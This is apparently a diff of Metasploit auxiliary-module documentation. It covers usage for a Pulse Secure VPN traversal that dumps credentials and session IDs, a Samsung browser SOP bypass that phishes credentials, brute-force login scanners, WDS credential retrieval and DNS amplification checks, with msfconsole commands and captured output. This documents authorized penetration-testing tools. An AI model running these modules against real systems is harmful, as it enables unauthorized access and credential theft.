@@ -72,6 +73,3 @@ grimhacker.com .. |
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## References
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
@@ -0,0 +1,101 @@
## Introduction
This module exploits a pre-auth directory traversal in the Pulse Secure
VPN server to dump an arbitrary file. Dumped files are stored in loot.
If the `Automatic` action is set, plaintext and hashed credentials, as
well as session IDs, will be dumped. Valid sessions can be hijacked by
setting the `DSIG` browser cookie to a valid session ID.
For the `Manual` action, please specify a file to dump via the `FILE`
option. `/etc/passwd` will be dumped by default. If the `PRINT` option is
set, file contents will be printed to the screen, with any unprintable
characters replaced by a period.
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
a post-auth exploit that can leverage the results from this module.
## Actions
```
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
```
## Options
**FILE**
Set this to the file you want to dump. The default is `/etc/passwd`.
Valid only in manual mode.
**PRINT**
Whether to print file contents to the screen. Valid only in manual mode.
## Usage
Dumping creds and sessions in automatic mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in automatic mode
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
[*] Parsing session IDs...
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: acbef5625
[+] Session ID found: c145e683a
[+] Session ID found: fc6c097dd
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[*] Dumping /data/runtime/mtmp/system
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/dataa/data.mdb application/octet-stream Plaintext credentials /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
Dumping default `/etc/passwd` in manual mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
action => Manual
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in manual mode
[*] Dumping /etc/passwd
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
postgres:x:102:102:PostgreSQL User:/:
[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This is going to be a quick rundown of how to use this module to
retrieve the admin hash from a vulnerable QNAP device.
@@ -1,10 +1,11 @@
## Description
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Vulnerable Application
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Verification Steps
1. Start `msfconsole -q`
2. `use auxiliary/gather/samsung_browser_sop_bypass`
3. `set SRVHOST`
@@ -14,6 +15,7 @@ This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
5. `run`
## Scenarios
```
$ sudo msfconsole -q
msf > use auxiliary/gather/samsung_browser_sop_bypass
@@ -49,8 +51,6 @@ host origin service public private
msf auxiliary(samsung_browser_sop_bypass) >
```
## Demos
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`
@@ -0,0 +1,28 @@
## Vulnerable Application
ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/acpp/login)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/acpp/login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### Apple AirPort Extreme 802.11g
```
msf > use auxiliary/scanner/acpp/login
msf auxiliary(scanner/acpp/login) > show options
msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
PASSWORD => myPassword
msf auxiliary(scanner/acpp/login) > run
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
```
@@ -0,0 +1,45 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module attempts to brute force authentication credentials for AFP.
References:
* [AFP_Reference](https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html)
* [AFP_Security](https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html)
### Kali 2019.3 Install Instructions
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/afp/afp_login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and Netatalk 3.1.12
```
msf > use modules/auxiliary/scanner/afp/afp_login
msf auxiliary(scanner/afp/afp_login) > set USERNAME tuser
msf auxiliary(scanner/afp/afp_login) > set PASSWORD myPassword
msf auxiliary(scanner/afp/afp_login) > set RHOST 172.17.0.2
msf auxiliary(scanner/afp/afp_login) > run
[*] 172.17.0.2:548 - Scanning IP: 172.17.0.2
[*] 172.17.0.2:548 - Login Successful: tuser:myPassword
```
@@ -3,10 +3,11 @@
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
The following was done on Ubuntu 16.04, and is largely based on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
@@ -15,6 +16,7 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
@@ -22,40 +24,41 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
4. Do: `set RHOSTS [ip]`
5. Do: `run`
## Scenarios
A run against the configuration from these docs
### Ubuntu 16.04 with Netatalk 2.2.5
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@@ -1,6 +1,6 @@
## Vulnerable Application
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
More information can be found on the [Rapid7 Blog](https://blog.rapid7.com/2010/03/08/locate-and-exploit-the-energizer-trojan).
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
@@ -0,0 +1,32 @@
## Vulnerable Application
This module attempts to authenticate against a DB2 instance using username and password combinations indicated by the `USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_auth)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_auth`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_auth
msf auxiliary/scanner/db2/db2_auth) > show options
msf auxiliary/scanner/db2/db2_auth) > set USERNAME db2inst1
msf auxiliary/scanner/db2/db2_auth) > set PASSWORD db2pass
msf auxiliary(scanner/db2/db2_auth) > set DATABASE testdb
msf auxiliary/scanner/db2/db2_auth) > set RHOST 172.17.0.2
msf auxiliary/scanner/db2/db2_auth) > run
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2inst1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:dasusr1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2fenc1@testdb (Incorrect: )
[*] 172.17.0.2:50000 - Login Successful: db2inst1:db2pass
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,27 @@
## Vulnerable Application
This module queries a DB2 instance information.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_version)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_version`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_version
msf auxiliary(scanner/db2/db2_version) > show options
msf auxiliary(scanner/db2/db2_version) > set DATABASE testdb
msf auxiliary(scanner/db2/db2_version) > set RHOSTS 172.17.0.2
msf auxiliary(scanner/db2/db2_version) > run
[+] 172.17.0.2:50000 - 172.17.0.2:50000 DB2 - Platform: QDB2/LINUXX8664, Version: SQL11050, Instance: db2inst1, Plain-Authentication: OK
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -1,5 +1,5 @@
## About
## Description
This module simply queries the DB2 discovery service for information.
The discovery service is integrated with the Configuration Assistant and the DB2® administration server.
@@ -12,9 +12,10 @@ Using the discovery method, catalog information for a remote server can be autom
3. `set THREDS [number of threads]`
4. `run`
## Scenarios
- DB2 `9.07.2` running at a `RHEL 6.9` .
### DB2 9.07.2 on RHEL 6.9
```
msf auxiliary(scanner/db2/discovery) > set RHOSTS 192.168.1.25
msf auxiliary(scanner/db2/discovery) > run
@@ -0,0 +1,41 @@
## Vulnerable Application
This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/dcerpc/windows_deployment_services) and pull request [PR #1420](https://github.com/rapid7/metasploit-framework/pull/1420).
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dcerpc/windows_deployment_services`
3. set RHOST [ip]
4. Do: `run`
## Scenarios
### A run on Windows Server 2008 R2 X64
```
msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
msf auxiliary(scanner/dcerpc/windows_deployment_services) > run
[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrieved wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...
Windows Deployment Services
===========================
Architecture Type Domain Username Password
------------ ---- ------ -------- --------
X64 wds Fabrikam.com username my_password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,30 @@
## Vulnerable Application
Detect UDP services that reply to empty probes.
More information can be found on the [Rapid7 blog page](https://blog.rapid7.com/2014/10/03/adventures-in-empty-udp-scanning/)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/discovery/empty_udp`
3. Do: `set RHOSTS [ip]`
4. Do: `set RPORT [port]`
5. Do: `run`
## Scenarios
### A run against Windows XP (X64) using Kali Linux 2019.3
```
msf auxiliary(scanner/dns/dns_amp) > use auxiliary/scanner/discovery/empty_udp
msf auxiliary(scanner/discovery/empty_udp) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/discovery/empty_udp) > set RPORT 135
RPORT => 135
msf auxiliary(scanner/discovery/empty_udp) > run
[*] Sending 1032 empty probes to 1.1.1.1->1.1.1.1 (1 hosts)
[+] Received #52 from #:135:#1095/udp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,26 @@
## Vulnerable Application
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### IOS version 12.4(8) and Kali Linux 2019.3
```
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.0.1
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,33 @@
## Vulnerable Application
This module can be used to discover DNS servers which expose recursive name lookups which can be used in an amplification attack against a third party.
BIND 9.4.1-P1: [source](ftp://ftp.isc.org/isc/bind9/9.4.1-P1/bind-9.4.1-P1.tar.gz)
Ubuntu 7.10: [Gutsy Gibbon](http://old-releases.ubuntu.com/releases/7.10/)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dns/dns_amp`
3. Do: `set DOMAINNAME [domain]`
4. Do: `set RHOST [ip]`
5. Do: `run`
## Scenarios
### A run on Ubuntu 7.10 (Gutsy Gibbon) and BIND 9.4.1-P1
```
msf > use modules/auxiliary/scanner/dns/dns_amp
msf auxiliary(scanner/dns/dns_amp) > set DOMAINNAME domain.com
DOMAINNAME => domain.com
msf auxiliary(scanner/dns/dns_amp) > set RHOSTS 192.168.10.254
RHOSTS => 192.168.10.254
msf auxiliary(scanner/dns/dns_amp) > run
[*] Sending DNS probes to 192.168.10.254->192.168.10.254 (1 hosts)
[*] Sending 70 bytes to each host using the IN ANY domain.com request
[+] 192.168.10.254:53 - Response is 374 bytes [5.34x Amplification]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -1,10 +1,10 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
By default, anonymous access is allowed by the FTP server.
## Vulnerable Application
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
vulnerable application from the official website:
@@ -22,6 +22,6 @@ The FTP server IP address.
The file you wish to download. Assume this path starts from C:\
## Demonstration
## Scenarios
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)

Some files were not shown because too many files have changed in this diff Show More